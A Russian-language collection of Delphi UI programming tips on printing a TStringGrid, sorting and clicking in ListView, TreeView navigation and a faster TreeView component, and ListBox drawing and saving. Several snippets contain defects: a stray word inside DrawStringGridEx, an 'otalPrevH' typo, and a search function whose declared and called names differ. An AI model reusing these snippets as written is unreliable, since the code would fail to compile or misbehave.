implementation
procedure PrintStringGrid(Grid: TStringGrid; Scale: Double; LeftMargin,
TopMargin, BottomMargin: Integer);
var NextRow: Integer;
begin
 //Printer.BeginDoc;
 if not Printer.Printing then raise Exception.Create('function
 PrintStringGrid must be called between Printer.BeginDoc
   and Printer.EndDoc');
 NextRow := 0;
 repeat
  NextRow := DrawStringGridEx(Grid, Scale, NextRow, LeftMargin, TopMargin,
   Printer.PageHeight - BottomMargin, Printer.Canvas);
  if NextRow <> -1 then Printer.NewPage;
 until NextRow = -1;
 //Printer.EndDoc;
end;
function DrawStringGridEx(Grid: TStringGrid; Scale: Double; FromRow,
LeftMargin, TopMargin, Yfloor: Integer; DestCanvas: TCanvas): Integer;
 // возвращает номер строки, которая не поместилась до Y = Yfloor
var
 i, j, d, TotalPrevH, TotalPrevW, CellH, CellW, LineWidth: Integer;
 R: TRect;
 s: string;
  procedure CorrectCellHeight(ARow: Integer);
  // вычисление правильной высоты ячейки с учетом многострочного текста
  // Текст рабивается только по словам слишком длинное слово обрубается
  var
   i, H: Integer;
   R: TRect;
   s: string;
  begin
   R := Rect(0, 0, CellH*2, CellH);
   s := ':)'; // Одинарная высота строки
   CellH := DrawText(DestCanvas.Handle, PChar(s), Length(s), R,
     DT_LEFT or DT_TOP or DT_WORDBREAK or DT_SINGLELINE or
     DT_NOPREFIX or DT_CALCRECT) + 3*d;
   for i := 0 to Grid.ColCount-1 do
   begin
    CellW := Round(Grid.ColWidths[i]*Scale);
    R := Rect(0, 0, CellW, CellH);
    //InflateRect(R, -d, -d);
    R.Left := R.Left+d;
    R.Top := R.Top + d;
    s := Grid.Cells[i, ARow];
    // Вычисление ширины и высоты
    H := DrawText(DestCanvas.Handle, PChar(s), Length(s), R,
     DT_LEFT or DT_TOP or DT_WORDBREAK or DT_NOPREFIX or DT_CALCRECT);
текста
    if CellH < H + 2*d then CellH := H + 2*d;
    // if CellW < R.Right - R.Left then Слишком длинное слово -
    // не помещается в одну строку; Перенос слов не поддерживается
   end;
  end;
begin
 Result := -1; // все строки уместились между TopMargin и Yfloor
 if (FromRow < 0)or(FromRow >= Grid.RowCount) then Exit;
 DestCanvas.Brush.Style := bsClear;
 DestCanvas.Font := Grid.Font;
//  DestCanvas.Font.Height := Round(Grid.Font.Height*Scale);
 DestCanvas.Font.Size := 10;
 Grid.Canvas.Font := Grid.Font;
 Scale := DestCanvas.TextWidth('test')/Grid.Canvas.TextWidth('test');
 d := Round(2*Scale);
 TotalPrevH := 0;
 for j := 0 to Grid.RowCount-1 do
 begin
  if (j >= Grid.FixedRows) and (j < FromRow) then Continue;
  // Fixed Rows рисуются на каждой странице
  TotalPrevW := 0;
  CellH := Round(Grid.RowHeights[j]*Scale);
  CorrectCellHeight(j);
  if TopMargin + TotalPrevH + CellH > YFloor then
  begin
   Result := j; // j-я строка не помещается в заданный диапазон
   if Result < Grid.FixedRows then Result := -1;
   // если фиксированные строки не влезают на страницу -
   // это тяж?лый случай...
   Exit;
  end;
  for i := 0 to Grid.ColCount-1 do
  begin
   CellW := Round(Grid.ColWidths[i]*Scale);
   R := Rect(TotalPrevW, TotalPrevH, TotalPrevW + CellW,
     otalPrevH + CellH);
   OffSetRect(R, LeftMargin, TopMargin);
   if (i < Grid.FixedCols)or(j < Grid.FixedRows) then
     LineWidth := BoldLineWidth
   else
     LineWidth := OrdinaryLineWidth;
   DestCanvas.Pen.Width := LineWidth;
   if LineWidth > 0 then
    DestCanvas.Rectangle(R.Left, R.Top, R.Right+1, R.Bottom+1);
   //InflateRect(R, -d, -d);
   R.Left := R.Left+d;
   R.Top := R.Top + d;
   s := Grid.Cells[i, j];
   DrawText(DestCanvas.Handle, PChar(s), Length(s), R,
    DT_LEFT or DT_TOP or DT_WORDBREAK or DT_NOPREFIX);
   TotalPrevW := TotalPrevW + CellW; // Общая ширина всех предыдущих колонок
  end;
  TotalPrevH := TotalPrevH + CellH;  // Общая высота всех предыдущих строк
 end;
end;
end.

Взято с http://delphiworld.narod.ru


TreeView, ListView

Cодержание раздела:

Сортировка ListView при нажатии на заголовок
Как открыть первую ветвь TreeView?
Как связать TreeView и PageControl?
Как поместить картинку в заголовок TListView?
Как узнать, по какой колонке был клик в TListView?
Virtual ListView с контекстным меню
Как получить строковый путь узла TTreeView
Как копировать и вставлять TreeNode
Прокрутка TreeView, чтобы держать выделение посередине
Ускорение работы TreeView
Поиск в TreeView по тексту New!


Сортировка ListView при нажатии на заголовок

Взято из FAQ: http://blackman.km.ru/myfaq/cont4.phtml

Сортировка ListView в режиме vsReport при нажатии на заголовок колонки

function CustomDateSortProc(Item1, Item2: TListItem; ParamSort: integer): integer; stdcall;
begin
result:=0;
if strtodatetime(item1.SubItems[0])> strtodatetime(item2.SubItems[0]) then
  Result :=1
else
  if strtodatetime(item1.SubItems[0])< strtodatetime(item2.SubItems[0]) then
    Result :=-1;
end;

procedure TForm1.lv1ColumnClick(Sender: TObject; Column: TListColumn);
begin
if column =lv1.columns[0] then
  LV1.CustomSort(@CustomNameSortProc, 0)
else
  LV1.CustomSort(@CustomDateSortProc, 0)
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Сортировка по первой колонке
Сортировка по первой колонке TListView делается так:

ListView1.SortType := stText;

Установка SortType в stText аналогична установке Sorted в True в объекте TListBox. Список будет оставаться отсортированным даже после добавления или изменения элементов, до тех пор, пока не установить SortType обратно в stNone:

ListView1.SortType := stNone;

В TListBox это аналогично установке Sorted в False.

Сортировка по другим колонкам
Чтобы отсортировать TListView по другой колонке, потребуется написать событие OnCompare, либо функцию сортировки, которая будет использоваться в методе CustomSort.

Для начала рассмотрим сортировку при помощи события OnCompare.

procedure(Sender: TObject; Item1, Item2: TListItem;Data: Integer; var Compare: Integer) of object;

Параметр Compare может иметь три значения: 1, -1 или 0. Единица означает, что первый элемент больше (или должен быть размещён после) второго элемента. Минус одни означает, что первый элемент меньше чем (или должен быть размещён перед) второй элемент. Ноль означает, что два элемента равны.

В следующем примере мы сортируем TListView по четвёртой колонке (которая представлена целыми значениями) в порядке убывания:

procedure TForm1.ListView1Compare(Sender: TObject; Item1,
  Item2: TListItem; Data: Integer; var Compare: Integer);
var
  n1, n2: integer;
begin
  n1 := StrToInt(Item1.SubItems[2]);
  n2 := StrToInt(Item2.SubItems[2]);
  if n1 > n2 then
    Compare := -1
  else if n1 < n2 then
    Compare := 1
  else
    Compare := 0;
end;

Теперь достаточно установить SortType в stBoth (вместо stText, который сортирует по первой колонке не используя метод OnCompare):

ListView1.SortType := stBoth;

Теперь, чтобы сделать временную сортировку, проделайте следующее:

ListView1.SortType := stBoth;
ListView1.SortType := stNone;

или ещё:

ListView1.CustomSort(nil, 0);

Сортировка при помощи функции сортировки
Функция сортировки используется для быстрой сортировки. Эта функция должна возвращать 1, -1 или 0 (как параметр Compare в событии OnCompare). Например:

function ByFourth(Item1, Item2: TListItem; Data: integer):
  integer; stdcall;
var
  n1, n2: cardinal;
begin
  n1 := StrToInt(Item1.SubItems[2]);
  n2 := StrToInt(Item2.SubItems[2]);
  if n1 > n2 then
    Result := -1
  else if n1 < n2 then
    Result := 1
  else
    Result := 0;
end;

Теперь, каждый раз, как Вы захотите отсортировать список, достаточно будет вызвать метод CustomSort, передав ему адрес функции сортировки. Например:

ListView1.CustomSort(@ByFourth, 0);

Параметр Data в функции сортировки используется для указания номера колонки.

Взято из http://forum.sources.ru


Как открыть первую ветвь TreeView?

Как программным путем открыть первую ветвь и в ней выделить первый элемент?

procedure TForm1.Button1Click(Sender: TObject);
begin
TreeView1.Items[0].Expand(False);
TreeView1.Items[0].Selected:=true;
TreeView1.SetFocus;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как связать TreeView и PageControl?

На форме стоит TreeView, PageControl и кнопка.
При смене страницы - меняется текущий узел, а при смене узла меняется страница.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    TreeView1: TTreeView;
    Button1: TButton;
    PageControl1: TPageControl;
    procedure Button1Click(Sender: TObject);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure PageControl1Change(Sender: TObject);
  private
    procedure addItem(t: String);
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

Procedure TForm1.addItem(t:String);
  var TabSheet:TTabSheet;
      Node:TTreenode;
begin
  TabSheet:=TTabSheet.Create(Self);
  TabSheet.PageControl:=PageControl1;
  TabSheet.caption:=t;
  Node:=TreeView1.Items.Add(nil, t);
  Node.data:=TabSheet; //ассоциируем узел с страницей
  TabSheet.tag:=Integer(Node); // ассоциируем страницу с узлом

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  TreeView1.HideSelection:=false;
  addItem('Item1');
  addItem('Item2');
  addItem('Item3');
  addItem('Item4');
end;

procedure TForm1.TreeView1Change(Sender: TObject; Node: TTreeNode);
begin
  PageControl1.ActivePage:=TTabSheet(Node.data);// Доступ к ассоциированной странице через узел
end;

procedure TForm1.PageControl1Change(Sender: TObject);
begin
  TreeView1.Selected:=TTreeNode(Pointer(PageControl1.ActivePage.tag));// Доступ к ассоциированному узлу через страницу
end;

end.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как поместить картинку в заголовок TListView?

Иногда бывает полезно в заголовке колонки показывать стрелочку, чтобы информировать пользователя, по какой колонке идёт сортировка. Добавьте следующий код в форму:

procedure TForm1.SetColumnImage( List: TListView; Column, Image: Integer;
                                 ShowImage: Boolean);
var
  Align,hHeader: integer;
  HD: HD_ITEM;

begin
  hHeader := SendMessage(List.Handle, LVM_GETHEADER, 0, 0);
  with HD do
  begin
    case List.Columns[Column].Alignment of
      taLeftJustify:  Align := HDF_LEFT;
      taCenter:       Align := HDF_CENTER;
      taRightJustify: Align := HDF_RIGHT;
    else
      Align := HDF_LEFT;
    end;

    mask := HDI_IMAGE or HDI_FORMAT;

    pszText := PChar(List.Columns[Column].Caption);

    if ShowImage then
      fmt := HDF_STRING or HDF_IMAGE or HDF_BITMAP_ON_RIGHT
    else
      fmt := HDF_STRING or Align;

    iImage := Image;
  end;
  SendMessage(hHeader, HDM_SETITEM, Column, Integer(@HD));
end;

Картинки берутся из списка SmallImages. Вам надо будет вызвать эту функцию для каждой колонки и установить ShowImage в TRUE для той колонки, которую Вы будете сортировать. Сделать это можно в функции OnColumnClick():

procedure TForm1.ListView1ColumnClick(Sender: TObject;
  Column: TListColumn);
var
  i : integer;
begin
  // Это Ваша собственная функция сортировки
  CustomSort( @CustomSortProc, Column.Index );
  // Этот цикл отображает иконку в выбранной колонке.
  for i := 0 to ListView1.Columns.Count-1 do
    SetColumnImage( ListView1, i, 0, i = Column.Index );
end;

Проблема: Изменение размера колонки генерирует сообщение WM_PAINT, которое стирает картинку, поэтому Вам прийдётся переопределить WM_PAINT и вызвать SetColumnImage снова.

Использовался компонент TApplicationEvents в delphi 5.

Взято из http://forum.sources.ru


Как узнать, по какой колонке был клик в TListView?

Метод GetItemAt позволяет получить координаты ListItem, по которой был клик, но только для первой колонки TListView. Если нужно узнать по какому элементу из другой колонки кликнул пользователь, то прийдётся объявить новый метод в наследованном классе:

uses ComCtrls;

type
  TListViewX = class(TListView)
  public
    function GetItemAtX(X, Y: integer; var Col: integer): TListItem;
  end;

implementation

function TListViewX.GetItemAtX(X, Y: integer;
    var Col: integer): TListItem;
var
  i, n, RelativeX, ColStartX: Integer;
  ListItem: TlistItem;
begin
  Result := GetItemAt(X, Y);
  if Result <> nil then begin
    Col := 0; // Первая колонка
  end else if (ViewStyle = vsReport)
      and (TopItem <> nil) then begin
    // Первая, попробуем найти строку
    ListItem := GetItemAt(TopItem.Position.X, Y);
    if ListItem <> nil then begin
      // Теперь попробуем найти колонку
      RelativeX := X-ListItem.Position.X-BorderWidth;
      ColStartX := Columns[0].Width;
      n := Columns.Count - 1;
      for i := 1 to n do begin
        if RelativeX < ColStartX then break;
        if RelativeX <= ColStartX +
            StringWidth(ListItem.SubItems[i-1]) then
        begin
          Result := ListItem;
          Col := i;
          break;
        end;//if
        Inc(ColStartX, Columns[i].Width);
      end;//for
    end;//if
  end;//if
end;

А вот так выглядит событие MouseDown:

procedure TForm1.ListView1MouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
  col: integer;
  li: TListItem;
begin
  li := TListViewX(ListView1).GetItemAtX(x, y, col);
  if li <> nil then
    ShowMessage('Column #' + IntToStr(col));
end;

Взято из http://forum.sources.ru


Virtual ListView с контекстным меню

В Delphi5/Demos есть пример Virtual ListView. программка чем-то напоминает explorer, но без контекстного меню. контекстное меню приделывается так:

procedure TForm1.PopupMenu1Popup(Sender: TObject);
var
ContextMenu : IContextMenu;
menu : HMENU;
begin
FIShellFolder.GetUIObjectOf(Handle, 1, ShellItem(ListView.Selected.Index).ID,
IID_IContextMenu, nil, ContextMenu);
menu := CreatePopupMenu();
ContextMenu.QueryContextMenu(menu, 0, 1, $7FFF, CMF_EXPLORE);
TrackPopupMenu(menu,
TPM_LEFTALIGN or TPM_LEFTBUTTON or TPM_RIGHTBUTTON or TPM_RETURNCMD,
Mouse.CursorPos.x, Mouse.CursorPos.y, 0, Handle, nil);
DestroyMenu(menu);
end;

Взято из http://forum.sources.ru


Как получить строковый путь узла TTreeView?

{*---------------------------------------------
 Parent Text
 ---------------------------------------------*}

function SrNodeTree(pTreeNode: TTreeNode; var sRuta: string): string;
begin
  sRuta := pTreeNode.Text + ' > ' + sRuta;
  if pTreeNode.Level = 0 then Result := sRuta
  else
    Result := SrNodeTree(pTreeNode.Parent, sRuta);
end;

{*---------------------------------------------
  Click an Item
 ---------------------------------------------*}
procedure TForm1.TreeView1Click(Sender: TObject);
var
  sPath: string;
begin
  label1.Caption := SrNodeTree(TreeView1.Selected, sPath);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как копировать и вставлять TreeNode?

var
   SL : TStringList;

 procedure TForm1.CutBtnClick(Sender: TObject);
 var
   i, j, StartLevel : integer;
   TNSel : TTreeNode;
 begin
   TNSel := TreeView1.Selected;
   if TNSel <> nil then begin
     StartLevel := TNSel.Level;
     i := TNSel.AbsoluteIndex;
     j := i; // note for later deletion
     if SL = nil then
       SL := TStringList.Create
     else
       SL.Clear;
     SL.AddObject(TNSel.Text, pointer(0));
     inc(i);
     with TreeView1 do begin
       while Items[i].Level > StartLevel do begin
         {stop before next sibling to top node\}
         SL.AddObject(Items[i].Text, pointer(Items[i].Level - StartLevel));
         inc(i);
       end; {while Items[i].Level > StartLevel\}
       Items[j].Delete;
     end; {with TreeView1\}
   end; {if TNSel <> nil\}
 end;

 procedure TForm1.PasteBtnClick(Sender: TObject);
 var
   i, Level : integer;
   TNSel, TN : TTreeNode;
 begin
   with TreeView1 do begin
     TNSel := Selected;
     if TNSel <> nil then begin
       TN := Items.Insert(TNSel, SL.Strings[0]);
       Level := integer(SL.Objects[0]); // should be 0
       for i := 1 to SL.Count - 1 do begin
         if integer(SL.Objects[i]) < Level then begin
           {go up one level\}
           TN := TN.Parent;
           Level := integer(SL.Objects[i]);
         end; {if integer(SL.Objects[i]) < Level\}
         if Level = integer(SL.Objects[i]) then
           {same level\}
           TN := Items.Add(TN, SL.Strings[i])
         else begin
           {go down one level\}
           TN := Items.AddChild(TN, SL.Strings[i]);
           Level := integer(SL.Objects[i]);
         end; {if Level = integer(SL.Objects[i])\}
       end; {for i := 1 to SL.Count - 1\}
     end; {if TNSel <> nil\}
   end; {with TreeView1\}
 end;

Взято с http://delphiworld.narod.ru


Прокрутка TreeView, чтобы держать выделение посередине

procedure TMyForm.TreeChange(Sender: TObject; Node: TTreeNode);
 var
   i : integer;
   pp, cp : TTreeNode;
 begin
   if Assigned(Tree.Selected) then
     begin
       cp := Tree.Selected;
       pp := cp;
       for i := 1 to Round(Tree.Height/30) do
         if cp <> nil then
           begin
             pp := cp;
             cp := cp.GetPrevVisible;
           end;
       Tree.TopItem := pp;
     end;
 end;

Взято с http://delphiworld.narod.ru


Ускорение работы TreeView

Представляем вашему вниманию немного переработанный компонент TreeView, работающий быстрее своего собрата из стандартной поставки Delphi. Кроме того, была добавлена возможность вывода текста узлов и пунктов в жирном начертании (были использованы методы TreeView, хотя, по идее, необходимы были свойства TreeNode. Мне показалось, что это будет удобнее).

Для сравнения:

TreeView:

128 сек. для загрузки 1000 элементов (без сортировки)*
270 сек. для сохранения 1000 элементов (4.5 минуты!!!)
HETreeView:

1.5 сек. для загрузки 1000 элементов - ускорение около 850%!!! (2.3 секунды без сортировки = stText)*
0.7 сек. для сохранения 1000 элементов - ускорение около 3850%!!!
Примечание:

Все операции выполнялись на медленной машине 486SX 33 Mгц, 20 Mб RAM.
Если TreeView пуст, загрузка происходит за 1.5 секунды, плюс 1.5 секунды на стирание 1000 элементов (общее время загрузки составило 3 секунды). В этих условиях стандартный компонент TTreeView показал общее время 129.5 секунд. Очистка компонента осуществлялась вызовом функции SendMessage(hwnd, TVM_DELETEITEM, 0, Longint(TVI_ROOT)).
Проведите несколько приятных минут, развлекаясь с компонентом.

unit HETreeView;
{$R-}

// Описание: Реактивный TreeView
(*

TREEVIEW:
128 сек. для загрузки 1000 элементов (без сортировки)*
270 сек. для сохранения 1000 элементов (4.5 минуты!!!)

HETREEVIEW:
1.5 сек. для загрузки 1000 элементов - ускорение около 850%!!!
  (2.3 секунды без сортировки = stText)*
0.7 сек. для сохранения 1000 элементов - ускорение около 3850%!!!

NOTES:
- Все операции выполнялись на медленной машине 486SX 33 Mгц, 20 Mб RAM.

- * Если TTreeView пуст, загрузка происходит за 1.5 секунды,
плюс 1.5 секунды на стирание 1000 элементов
  (общее время загрузки составило 3 секунды).
В этих условиях стандартный компонент TreeView показал общее время 129.5 секунд.
Очистка компонента осуществлялась вызовом функции
SendMessage(hwnd, TVM_DELETEITEM, 0, Longint(TVI_ROOT)).
*)

interface

uses

  SysUtils, Windows, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, ComCtrls, CommCtrl;

type

  THETreeView = class(TTreeView)
  private
    FSortType: TSortType;
    procedure SetSortType(Value: TSortType);
  protected
    function GetItemText(ANode: TTreeNode): string;
  public
    constructor Create(AOwner: TComponent); override;
    function AlphaSort: Boolean;
    function CustomSort(SortProc: TTVCompare; Data: Longint): Boolean;
    procedure LoadFromFile(const AFileName: string);
    procedure SaveToFile(const AFileName: string);
    procedure GetItemList(AList: TStrings);
    procedure SetItemList(AList: TStrings);
    //Жирное начертание шрифта 'Bold' должно быть свойством TTreeNode, но...
    function IsItemBold(ANode: TTreeNode): Boolean;
    procedure SetItemBold(ANode: TTreeNode; Value: Boolean);
  published
    property SortType: TSortType read FSortType write SetSortType default
      stNone;
  end;

procedure Register;

implementation

function DefaultTreeViewSort(Node1, Node2: TTreeNode; lParam: Integer): Integer;
  stdcall;
begin

  {with Node1 do
  if Assigned(TreeView.OnCompare) then
  TreeView.OnCompare(Node1.TreeView, Node1, Node2, lParam, Result)
  else}
  Result := lstrcmp(PChar(Node1.Text), PChar(Node2.Text));
end;

constructor THETreeView.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  FSortType := stNone;
end;

procedure THETreeView.SetItemBold(ANode: TTreeNode; Value: Boolean);
var

  Item: TTVItem;
  Template: Integer;
begin

  if ANode = nil then
    Exit;

  if Value then
    Template := -1
  else
    Template := 0;
  with Item do
  begin
    mask := TVIF_STATE;
    hItem := ANode.ItemId;
    stateMask := TVIS_BOLD;
    state := stateMask and Template;
  end;
  TreeView_SetItem(Handle, Item);
end;

function THETreeView.IsItemBold(ANode: TTreeNode): Boolean;
var

  Item: TTVItem;
begin

  Result := False;
  if ANode = nil then
    Exit;

  with Item do
  begin
    mask := TVIF_STATE;
    hItem := ANode.ItemId;
    if TreeView_GetItem(Handle, Item) then
      Result := (state and TVIS_BOLD) <> 0;
  end;
end;

procedure THETreeView.SetSortType(Value: TSortType);
begin

  if SortType <> Value then
  begin
    FSortType := Value;
    if ((SortType in [stData, stBoth]) and Assigned(OnCompare)) or
      (SortType in [stText, stBoth]) then
      AlphaSort;
  end;
end;

procedure THETreeView.LoadFromFile(const AFileName: string);
var

  AList: TStringList;
begin

  AList := TStringList.Create;
  Items.BeginUpdate;
  try
    AList.LoadFromFile(AFileName);
    SetItemList(AList);
  finally
    Items.EndUpdate;
    AList.Free;
  end;
end;

procedure THETreeView.SaveToFile(const AFileName: string);
var

  AList: TStringList;
begin

  AList := TStringList.Create;
  try
    GetItemList(AList);
    AList.SaveToFile(AFileName);
  finally
    AList.Free;
  end;
end;

procedure THETreeView.SetItemList(AList: TStrings);
var

  ALevel, AOldLevel, i, Cnt: Integer;
  S: string;
  ANewStr: string;
  AParentNode: TTreeNode;
  TmpSort: TSortType;

  function GetBufStart(Buffer: PChar; var ALevel: Integer): PChar;
  begin
    ALevel := 0;
    while Buffer^ in [' ', #9] do
    begin
      Inc(Buffer);
      Inc(ALevel);
    end;
    Result := Buffer;
  end;

begin

  // Удаление всех элементов - в обычной ситуации
  // подошло бы Items.Clear, но уж очень медленно
  SendMessage(handle, TVM_DELETEITEM, 0, Longint(TVI_ROOT));
  AOldLevel := 0;
  AParentNode := nil;

  //Снятие флага сортировки
  TmpSort := SortType;
  SortType := stNone;
  try
    for Cnt := 0 to AList.Count - 1 do
    begin
      S := AList[Cnt];
      if (Length(S) = 1) and (S[1] = Chr($1A)) then
        Break;

      ANewStr := GetBufStart(PChar(S), ALevel);
      if (ALevel > AOldLevel) or (AParentNode = nil) then
      begin
        if ALevel - AOldLevel > 1 then
          raise Exception.Create('Неверный уровень TreeNode');
      end
      else
      begin
        for i := AOldLevel downto ALevel do
        begin
          AParentNode := AParentNode.Parent;
          if (AParentNode = nil) and (i - ALevel > 0) then
            raise Exception.Create('Неверный уровень TreeNode');
        end;
      end;
      AParentNode := Items.AddChild(AParentNode, ANewStr);
      AOldLevel := ALevel;
    end;
  finally
    //Возвращаем исходный флаг сортировки...
    SortType := TmpSort;
  end;
end;

procedure THETreeView.GetItemList(AList: TStrings);
var

  i, Cnt: integer;
  ANode: TTreeNode;
begin

  AList.Clear;
  Cnt := Items.Count - 1;
  ANode := Items.GetFirstNode;
  for i := 0 to Cnt do
  begin
    AList.Add(GetItemText(ANode));
    ANode := ANode.GetNext;
  end;
end;

function THETreeView.GetItemText(ANode: TTreeNode): string;
begin

  Result := StringOfChar(' ', ANode.Level) + ANode.Text;
end;

function THETreeView.AlphaSort: Boolean;
var

  I: Integer;
begin

  if HandleAllocated then
  begin
    Result := CustomSort(nil, 0);
  end
  else
    Result := False;
end;

function THETreeView.CustomSort(SortProc: TTVCompare; Data: Longint): Boolean;
var

  SortCB: TTVSortCB;
  I: Integer;
  Node: TTreeNode;
begin

  Result := False;
  if HandleAllocated then
  begin
    with SortCB do
    begin
      if not Assigned(SortProc) then
        lpfnCompare := @DefaultTreeViewSort
      else
        lpfnCompare := SortProc;
      hParent := TVI_ROOT;
      lParam := Data;
      Result := TreeView_SortChildrenCB(Handle, SortCB, 0);
    end;

    if Items.Count > 0 then
    begin
      Node := Items.GetFirstNode;
      while Node <> nil do
      begin
        if Node.HasChildren then
          Node.CustomSort(SortProc, Data);
        Node := Node.GetNext;
      end;
    end;
  end;
end;

//Регистрация компонента

procedure Register;
begin

  RegisterComponents('Win95', [THETreeView]);
end;

end.

Взято с http://delphiworld.narod.ru


Поиск в TreeView по тексту

// Search a TreeItem through its Text property
// Return value is a TreeNodeObject
function Form1.TreeItemSearch(TV: TTreeView; SucheItem: string): TTreeNode;
var
  i: Integer;
  iItem: string;
begin
  if (TV = nil) or (SucheItem = '') then Exit;
  for i := 0 to TV.Items.Count - 1 do
  begin
    iItem := TV.Items[i].Text;
    if SucheItem = iItem then
    begin
      Result := TV.Items[i];
      Exit;
    end
    else
    begin
      Result := nil;
    end;
  end;
end;

//  Example: Search for Wasserfall in TreeView1 and select item
procedure TForm1.Button1Click(Sender: TObject);
var
  Node: TTreeNode;
begin
  //either - entweder so
  Node := TreeItemSuchen(TreeView1, 'Wasserfall');
  TreeView1.Selected := Node;

  //or - oder so
  TreeView1.Selected := TreeItemSuchen(TreeView1, 'Wasserfall ');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


ListBox, CheckListBox, DBLookUp, Другие списки

Cодержание раздела:

Как изменить фоновый цвет текста в различных строчках TListBox?
Печать содержимого TMemo или TListbox.
TCheckListBox: использование методов LoadFromFile/SaveToFile
Компонент FontListBox
Как добавить горизонтальную полосу прокрутки (scrollbar) в TListBox?
Как перетащить целую колонку из Stringgrid в Listbox?
Как добавлять колонки в обычный Listbox (TListbox)?
Как вставить растровое изображение в компонент ListBox? Updated!
Как присвоить значение свойству selected в ListBox?
Как в ListBox нарисовать Item своим цветом?
Как принимать перетаскиваемые файлы из проводника?
Как осуществить быстрый поиск в Listbox?
Как создать поле Lookup во время выполнения приложения?
Можно ли изменить число колонок и их ширину в компоненте TFileListBox?
Как сделать картинки из TImageList прозрачными?
Как выводить элементы списка разными шрифтами New!
Инкрементальный поиск в ListBox New!
Показ in-place подсказки в TListBox и других компонентах New!
Табуляция в графическом ListBox New!
Уменьшение мерцания ListBox в обработчике OwnerDraw New!

См. также статьи в других разделах:
Пример написания FileListBox
Пример загрузки файлов в ListView с иконками
Как вставить растровое изображение в компонент ListBox?
Как выводить hint при движении мыши над списком New!


Как изменить фоновый цвет текста в различных строчках TListBox?

После того, как поместите TListBox на форму, необходимо изменить свойство Style в TListBox на lbOwnerDrawFixed. Если не изменить свойство Style, то событие OnDrawItem никогда не вызовется. Теперь поместите следующий код в обработчик события OnDrawItem Вашего TListBox:

procedure TForm1.ListBox1DrawItem
  (Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
    myColor: TColor;
    myBrush: TBrush;
begin
  myBrush := TBrush.Create;
  with (Control as TListBox).Canvas do
  begin
    if not Odd(Index) then
      myColor := clSilver
    else
      myColor := clYellow;
    myBrush.Style := bsSolid;
    myBrush.Color := myColor;
    Windows.FillRect(handle, Rect, myBrush.Handle);
    Brush.Style := bsClear;
    TextOut(Rect.Left, Rect.Top,
            (Control as TListBox).Items[Index]);
    MyBrush.Free;
  end;
end;

Взято из http://forum.sources.ru


Печать содержимого TMemo или TListbox.

Следующая функция имеет один параметр в виде объекта TStrings и печатает каждую строку на принтер, установленный в системе по умолчанию. Так как эта функция использует TStrings, то она будет работать с различными компонентами, которые содержат свойство типа TStrings, такие как TDBMemo или TOutline:

uses Printers;

procedure PrintStrings(Strings: TStrings);
var
  Prn: TextFile;
  i: word;
begin
  AssignPrn(Prn);
  try
    Rewrite(Prn);
    try
      for i := 0 to Strings.Count - 1 do
        writeln(Prn, Strings.Strings[i]);
    finally
      CloseFile(Prn);
    end;
  except
    on EInOutError do
      MessageDlg('Error Printing text.', mtError, [mbOk], 0);
  end;
end;

Чтобы распечатать содержимое TMemo или TListbox, используйте следующие команды:

PrintStrings(Memo1.Lines);
или
PrintStrings(Listbox1.Items);

Взято из http://forum.sources.ru


TCheckListBox: использование методов LoadFromFile/SaveToFile

Автор: Bjarne Winkler

Пример показывает как можно сохранять в файл содержимое TCheckListBox и соответственно восстанавливать из файла ранее сохранённые состояния Чекбоксов.

На самом деле всё просто. Метод SaveToFile просто напросто сохраняет в обычном текстовом виде значения чекбоксов. Но предварительно нам нужно преобразовать состояния чекбоксов в текстовый вид, соответственно "1" или "0".
Далее задача метода LoadFromFile считать эти значения и преобразовать сначало в числовой вид, а затем в логический (true или false).

{====================================}
Procedure TFrameRuleEngine.SaveRules;
{====================================}
Var
  i: Integer;

begin
  i := 0;
  While i < CheckListBoxRule.Items.Count Do
  Begin
    If CheckListBoxRule.Items[i] = '' Then
    Begin
      // Если ячейка пустая, то удаляем её
      CheckListBoxRule.Items.Delete(i);
    End
    Else
    Begin
      // Добавляем 1 или 0 соответственно checked или not checked
      CheckListBoxRule.Items[i] := IntToStr(Integer(CheckListBoxRule.Checked[i])) + CheckListBoxRule.Items[i];
      Inc(i);
    End;
  End;
  // Сохраняем весь список
  CheckListBoxRule.Items.SaveToFile(ExtractFilePath(Application.ExeName) + 'Rule.Txt');
end;

{===================================}
Procedure TFrameRuleEngine.LoadRules;
{===================================}
Var
  sChecked: String;
  i: Integer;

begin
  If FileExists(ExtractFilePath(Application.ExeName) + 'Rule.Txt') Then
  Begin
    // Считываем файл
    CheckListBoxRule.Items.LoadFromFile(ExtractFilePath(Application.ExeName) + 'Rule.Txt');
    i := 0;
    While i < CheckListBoxRule.Items.Count Do
    Begin
      If CheckListBoxRule.Items[i] = '' Then
      Begin
        // Удаляем пустую ячейку
        CheckListBoxRule.Items.Delete(i);
      End
      Else
      Begin
        // получаем состояние чекбокса
        sChecked := Copy(CheckListBoxRule.Items[i], 1, 1);
        CheckListBoxRule.Items[i] := Copy(CheckListBoxRule.Items[i], 2, Length(CheckListBoxRule.Items[i]));
        // Обновляем свойство Checked
        CheckListBoxRule.Checked[i] := Boolean(StrToInt(sChecked));
        Inc(i);
      End;
    End;
  End;
end;

Bjarne \v/
http://www.go2NTS.com

Взято из http://forum.sources.ru


Компонент FontListBox

Автор: Maarten de Haan

Надеюсь, что любители Delphi уже не один раз приукрашивали всякие ЛистБоксы и тому подобное. Автор исходника предлагает создать этот компонент своими силами. Впрочем, Вы сами можете увидеть как можно играться со шрифтами в ListBox.

{
==================================================================
                       Написан в Delphi V5.0.
                       Тестировался под:  Windows 95, version A, servicepack 1
